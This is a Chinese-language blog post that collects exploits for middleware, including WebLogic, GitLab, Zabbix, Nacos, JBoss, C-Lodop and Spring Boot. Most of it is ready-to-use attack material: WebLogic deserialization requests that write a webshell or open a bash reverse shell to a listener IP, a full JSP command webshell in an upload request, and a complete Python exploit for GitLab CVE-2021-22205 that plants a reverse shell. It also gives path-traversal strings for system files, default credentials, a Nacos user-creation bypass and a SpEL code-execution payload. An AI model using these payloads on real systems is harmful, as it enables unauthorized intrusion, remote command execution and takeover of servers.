中间件漏洞利用合集

月影
2023-06-02 / 0 评论 / 39 阅读 / 正在检测是否收录...

weblogic

cve-2020-14750 Weblogic认证绕过

漏洞描述:
远程攻击者可以构造特殊的 HTTP 请求,在未经身份验证的情况下接管 WebLogic Server Console

poc1:

http://xx.xx.xx.xx:7001/console/css/%252e%252e%252fconsole.portal

poc2:

http://xx.xx.xx.xx:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=DomainConfigGeneralPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29

2023-06-02T02:19:12.png

漏洞修复:
升级补丁至最新版本

Weblogic SSRF 漏洞(CVE-2014-4210)

漏洞描述:

访问下列url,绕过登陆

http://xx.xx.xx.xx:7001/uddiexplorer/SearchPublicRegistries.jsp

点击search按钮抓包
2023-06-02T02:39:33.png

修改operator参数的值,改为dnslog的地址
2023-06-02T02:41:07.png

接收到回显,漏洞存在
2023-06-02T05:55:09.png

CVE-2017-3506 Weblogic反序列化

影响:

OracleWebLogic Server10.3.6.0.0

OracleWebLogic Server12.1.3.0.0

OracleWebLogic Server12.2.1.1.0

OracleWebLogic Server12.2.1.2.0

漏洞利用

wls-wsat组件远程命令执行

如果访问/wls-wsat/CoordinatorPortType11目录,存在下图则说明或许存在漏洞 /wls-wsat/CoordinatorPortType /wls-wsat/CoordinatorPortType11

2023-06-09T03:10:16.png
验证漏洞是否存在

java -jar cve-2017-3506_webshell.jar

2023-06-09T03:10:29.png

上传木马,这里shell.jsp只是名字,不是文件,填写名字就行了
2023-06-09T03:10:59.png

端口后面有空格

java -jar .\cve-2017-3506_webshell.jar -s http://10.110.80.170:7001 /wls-wsat/CoordinatorPortType11 shell.jsp

访问

http://10.110.80.170:7001/wls-wsat/shell.jsp?password=secfree&command=whoami

2023-06-09T03:11:16.png
2023-06-09T03:11:34.png

CVE-2017-10271 XML Decoder反序列化

版本

10.3.6.0
12.1.3.0.0
12.2.1.1.0

漏洞地址

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

检测漏洞
2023-06-09T03:12:11.png
漏洞利用
访问页面,抓包

2023-06-09T03:12:31.png

POC

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter"> 
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
    <void method="println">
<string>
    <![CDATA[
<% out.print("webshell"); %>
    ]]>
    </string>
    </void>
    <void method="close"/>
    </object></java></java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

2023-06-09T03:13:00.png

访问地址: ip/bea_wls_internal/test.jsp 测试有结果,存在此漏洞。
2023-06-09T03:13:12.png

反弹shell

GET改POST

POC,全部复制,改HOST和监听IP端口就行了

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: IP:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 640

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.31.173/7089 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

2023-06-09T03:13:43.png
2023-06-09T03:13:52.png

CVE-2019-2618任意文件上传

1> 漏洞前提是需要先知道weblogic的账号密码。(安装时设置的账户和密码为weblogic/12345.com)

2> 漏洞验证

构造的POST包如下所示:

POST /bea_wls_deployment_internal/DeploymentService HTTP/1.1
Host: 192.168.37.136:7001
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
username: weblogic
wl_request_type: app_upload
cache-control: no-cache
wl_upload_application_name: ../tmp/_WL_internal/bea_wls_deployment_internal/gyuitk/war
serverName: weblogic
password: 12345.com
content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
archive: true
server_version: 10.3.6.0
wl_upload_delta: true
Content-Length: 1083
 
 
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="shell.jsp"; filename="shell1.jsp"
Content-Type: false
 
 <%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
Commands with JSP
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
    out.println("Command: " + request.getParameter("cmd") + "<BR>");
    Process p;
    if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){
        p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));
    }
    else{
        p = Runtime.getRuntime().exec(request.getParameter("cmd"));
    }
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String disr = dis.readLine();
    while ( disr != null ) {
    out.println(disr);
    disr = dis.readLine();
    }
}
%>
</pre>
</BODY></HTML> 
 
------WebKitFormBoundary7MA4YWxkTrZu0gW--

3> 发送数据包 ,返回了上传文件的地址;
2023-06-16T06:10:07.png

4> 去访问发现执行成功;
2023-06-16T06:10:24.png

漏洞修复

Oracle官方已经在关键补丁更新中修复了该漏洞。

C-Lodop

任意文件读取

windows

../../../../../../../../../../windows/win.ini

linux

../../../../../../../../../../etc/passwd

直接访问路径

2023-06-05T06:01:34.png

gitlab

用户信息遍历

接口地址如下,拼接访问即可

/api/v4/users/1

2023-06-19T08:42:34.png

未授权RCE(CVE-2021-22205)

exp

#!/usr/bin/env python
# -*- coding:utf-8 -*-
import requests
from bs4 import BeautifulSoup

class Exploit():
    __info__ = {
        'name': 'CVE-2021-22205',
        'desription': 'gitlab 未授权远程命令执行',
        'references': ['https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22205'],
        'devices': ['gitlab',
                    '11.9=< version <13.8.8',
                    '13.9=< version <13.9.6',
                    '13.10=< version <13.10.3'
        ],
    }

    target = "192.168.236.130"
    port = 8888
    reverseShell = "echo '/bin/bash -i >& /dev/tcp/{}/{} 0>&1' > /tmp/shell.sh && chmod 777 /tmp/shell.sh && /bin/bash /tmp/shell.sh"

    def exploit(self):
        session = requests.Session()
        requests.packages.urllib3.disable_warnings()
        url = "http://{}:{}".format(self.target, self.port)
        try:
            r = session.get(url.strip("/") + "/users/sign_in", verify=False)
            soup = BeautifulSoup(r.text, features="lxml")
            token = soup.findAll('meta')[16].get("content")
            data = "\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.jpg\"\r\nContent-Type: image/jpeg\r\n\r\nAT&TFORM\x00\x00\x03\xafDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00\x00\xac\xff\xff\xde\xbf\x99 !\xc8\x91N\xeb\x0c\x07\x1f\xd2\xda\x88\xe8k\xe6D\x0f,q\x02\xeeI\xd3n\x95\xbd\xa2\xc3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\x08\x00\x08\x18\x00d\x00\x16\x00INCL\x00\x00\x00\x0fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\x08\x00\x08\x8a\xe6\xe1\xb17\xd9*\x89\x00BG44\x00\x00\x00\x04\x01\x0f\xf9\x9fBG44\x00\x00\x00\x02\x02\nFORM\x00\x00\x03\x07DJVIANTa\x00\x00\x01P(metadata\n\t(Copyright \"\\\n\" . qx{" + self.reverseShell + "} . \\\n\" b \") )                                                                                                                                                                                                                                                                                                                                                                                                                                     \n\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5--\r\n\r\n"
            headers = {
                "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
                "Connection": "close",
                "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5",
                "X-CSRF-Token": f"{token}", "Accept-Encoding": "gzip, deflate"}
            flag = 'Failed to process image'
            req = session.post(url.strip("/") + "/uploads/user", data=data, headers=headers, verify=False)
            x = req.text
            if flag in x:
                return "success!!!"
            else:
                print("[-] Vuln Check Failed... ...")
                return 'failed'
        except Exception as error:
            print(error.with_traceback())
            print("[-] Vuln Check Failed... ...")
            return 'failed'

    def run(self):
        res = self.exploit()
        return res

if __name__ == '__main__':
    exploit = Exploit()
    '''
    在GitLab CE/EE中发现一个问题,从11.9开始影响所有版本。
    GitLab没有正确地验证传递给文件解析器的图像文件,导致远程命令执行
    此脚本利用此漏洞进行反弹shell, 测试前请配置好下面的 listenIp 和 listenPort 参数
    '''
    exploit.target= "xx.xx.xx.xx"
    exploit.port = 80
    listenIp = "xx.xx.xx.xx"
    listenPort = "9999"
    exploit.reverseShell = exploit.reverseShell.format(listenIp,listenPort)
    result = exploit.run()
    print(result)

python运行上面的脚本,另开一个终端,nc监听接收回弹shell
2023-06-08T06:51:17.png

zabbix

zabbix弱口令

Admin zabbix

zabbix后台任意命令执行

管理-脚本-创建脚本
2023-06-13T02:03:22.png
2023-06-13T02:04:27.png
监测-问题-点击ip
2023-06-13T02:05:36.png
2023-06-13T02:10:27.png
执行命令成功
2023-06-13T02:11:18.png

SAML身份绕过漏洞 CVE-2022-23131

漏洞描述

Zabbix 是一个非常流行的开源监控平台,用于收集、集中和跟踪整个基础设施中的 CPU 负载和网络流量等指标。它与 Pandora FMS 和 Nagios 等解决方案非常相似。由于其受欢迎程度、功能和在大多数公司网络中的特权地位,Zabbix 是威胁参与者的高调目标。一家公共漏洞经纪人,一家专门从事安全漏洞获取的公司,也公开宣布了他们对该软件的兴趣。

我们在 Zabbix 的客户端会话实现中发现了一个严重漏洞,该漏洞可能导致整个网络遭到破坏。在本文中,我们介绍了不同类型的会话存储,并讨论了实现安全的原因。然后,我们描述了我们在 Zabbix 中发现的漏洞的技术细节、其影响以及如何预防。让我们深入了解它!

漏洞影响
Zabbix

网络测绘
app="ZABBIX-监控系统" && body="saml"

漏洞复现

登录页面
2023-06-28T06:41:40.png

通过POC获取 zbx_session
2023-06-28T06:41:56.png
替换后点击 SAML登录
2023-06-28T06:42:11.png
2023-06-28T06:42:20.png

nacos

CVE-2021-29442

拼接路劲并访问,可构造数据库查询语句,查询到的内容直接回显前端页面

/nacos/v1/cs/ops/derby?sql=select+st.tablename+from+sys.systables+st 

返回以下数据即利用成功
2023-06-21T00:36:04.png

Nacos默认口令

2023-06-21T00:39:11.png

nacos  nacos

权限绕过

通过以下接口查看用户列表

/nacos/v1/auth/users/?pageNo=1&pageSize=999

2023-06-21T00:40:48.png

添加用户

/nacos/v1/auth/users
修改为POST请求
usename=test&password=test
修改U-A头:Nacos-Server

创建成功,然后就可以使用该账号登陆了
2023-06-21T00:43:11.png

jboss

JBoss 4.x JBossMQ JMS 反序列化漏洞 CVE-2017-7504

漏洞描述

Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

影响版本
JBoss AS 4.x及之前版本

环境搭建

https://github.com/vulhub/vulhub.git
cd vulhub/jboss/CVE-2017-7504
docker-compose build
docker-compose up -d

漏洞复现

访问控制台
2023-06-27T08:33:43.png

使用工具 Jexboss (https://github.com/joaomatosf/jexboss)进行漏洞扫描

python3 jexboss.py -host http://192.168.51.133:8080

2023-06-27T08:34:38.png
2023-06-27T08:35:13.png
成功利用漏洞执行命令

springboot

SpEL表达式注入漏洞复现与原理分析

这是2016年的一个洞,利用条件是至少知道一个触发 springboot 默认错误页面的接口及参数名。

影响版本:1.1.0-1.1.12 1.2.0-1.2.7 1.3.0

修复方案:升级版本

环境搭建

下载链接:https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce

用idea打开之后配置一下,如下图:
环境搭建

下载链接:https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce

用idea打开之后配置一下,如下图:
2023-06-28T01:54:05.png

然后启动访问出现如下页面,代表搭建成功。

2023-06-28T01:54:21.png

漏洞复现

访问:http://localhost:9091/article?id=9∗9,可以发现{9*9}的SpEL表达式进行了解析,随后将该表达式的运行的结果进行了返回,如下图。
2023-06-28T01:54:41.png

现在尝试弹出计算器,访问:http://localhost:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}

成功弹出,如下图:

2023-06-28T01:54:59.png

0

评论

博主关闭了当前页面的评论